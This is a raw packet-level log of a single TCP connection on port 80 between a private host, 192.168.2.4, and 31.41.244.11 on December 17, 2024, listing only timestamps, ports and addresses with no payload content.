Dec 17, 2024 22:06:16.142901897 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.143760920 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.143816948 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.143877029 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.144762039 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.144834042 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.144865036 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.144917965 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.145797014 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.145858049 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.145958900 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.146012068 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.146851063 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.146908998 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.146992922 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.147902966 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.147962093 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.147975922 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.148020983 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.148938894 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.148993015 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.148997068 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.149043083 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.149990082 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.150046110 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.150089979 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.150142908 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.151001930 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.151139021 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.151204109 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.152053118 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.152129889 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.152220011 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.152271986 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.153115988 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.153182983 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.153198957 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.153247118 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.154117107 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.154186964 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.154251099 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.154298067 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.155087948 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.159006119 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.292671919 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.292758942 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.292824984 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.293024063 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.293109894 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.293165922 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.294065952 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.294126987 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.294151068 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.294193983 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.295104980 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.295191050 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.295223951 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.295268059 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.296117067 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.296226978 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.296264887 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.297146082 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.297216892 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.297261953 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.297305107 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.298198938 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.298264027 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.298309088 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.298371077 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.299217939 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.299266100 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.299360037 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.299401045 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.300256968 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.300304890 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.300386906 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.300434113 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.301314116 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.301423073 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.301481009 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.302335024 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.302382946 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.302414894 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.302454948 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.303368092 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.303495884 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.303539991 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.304430008 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.304471016 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.304517031 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.305450916 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.305495977 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.305612087 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.305680037 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.306529045 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.306577921 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.306615114 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.306658983 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.307575941 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.307626963 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.307718992 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.307766914 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.308577061 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.308626890 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.308650017 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.308692932 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.309627056 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.309672117 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.309735060 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.309779882 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.310633898 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.310669899 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.310676098 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.310712099 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.311685085 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.311800003 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.311856031 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.312731028 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.312777996 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.312860966 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.312910080 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.313745975 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.313811064 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.313849926 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.313893080 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.314785004 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.314933062 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.314963102 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.314990044 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.315872908 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.315933943 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.316103935 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.316239119 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.316893101 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.316951036 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.317018986 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.317560911 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.317925930 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.317977905 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.318037033 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.318430901 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.319015026 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.319102049 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.319158077 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.320063114 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.320121050 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.320242882 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.320291996 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.321038008 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.321089983 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.321146011 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.322096109 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.322140932 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.322279930 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.322324991 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.323098898 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.323210955 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.323257923 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.324157953 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.324295044 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.324352026 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.325174093 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.325227976 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.325229883 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.325277090 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.326241970 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.326380014 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.326380014 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.326431036 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.327280998 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.327330112 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.327400923 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.327449083 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.328299046 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.328347921 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.328427076 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.328490019 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.329319954 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.329395056 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.329452991 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.329782963 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.330423117 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.330476999 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.330482006 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.330519915 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.331423044 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.331553936 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.331613064 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.332556963 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.332619905 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.332678080 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.332724094 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.333515882 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.333564997 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.333637953 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.333698988 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.334547997 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.334675074 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.334733009 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.335589886 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.335639954 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.335702896 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.335752964 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.336775064 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.336822033 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.336875916 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.336926937 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.337714911 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.337779045 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.337820053 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.337833881 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.338731050 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.338772058 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.338885069 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.338885069 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.339729071 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.339765072 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.339809895 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.340800047 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.340833902 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.340847015 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.340878010 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.341823101 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.341856956 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.341867924 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.341897964 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.342885017 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.342936993 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.342966080 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.342979908 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.343852043 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.343884945 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.343902111 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.343925953 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.344856024 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.344906092 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.344907045 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.344950914 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.345935106 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.346002102 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.346082926 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.346141100 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.346954107 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.347014904 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.485210896 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.485249043 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.485287905 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.485317945 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.485764027 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.485819101 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.485887051 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.485937119 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.486381054 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.486433983 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.486437082 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.486490011 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.487418890 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.487464905 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.487803936 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.487852097 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.488480091 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.488538027 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.488591909 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.488637924 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.489515066 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.489566088 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.489712000 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.489758015 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.490608931 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.490660906 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.490878105 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.490926027 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.491576910 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.491622925 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.492150068 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.492196083 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.492605925 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.492651939 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.492789030 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.492832899 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.493704081 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.493730068 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.493752003 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.493778944 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.494668007 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.494712114 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.494782925 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.494827032 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.495698929 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.495745897 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.495800018 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.495842934 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.496738911 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.496783018 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.496856928 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.496900082 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.497797012 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.497834921 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.497840881 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.497878075 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.498828888 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.498913050 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.498953104 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.498996973 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.499896049 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.499946117 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.499960899 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.500001907 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.500914097 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.501070976 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.501146078 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.501950979 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.502019882 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.502062082 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.502110958 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.502969980 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.503124952 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.503196001 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.504036903 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.504093885 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.504189968 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.504239082 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.505095959 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.505150080 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.505201101 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.505247116 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.506128073 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.506190062 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.506412029 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.506460905 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.507261038 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.507306099 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.507330894 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.507399082 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.508169889 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.508209944 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.508218050 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.508244991 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.509186029 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.509259939 CET	49776	80	192.168.2.4	31.41.244.11
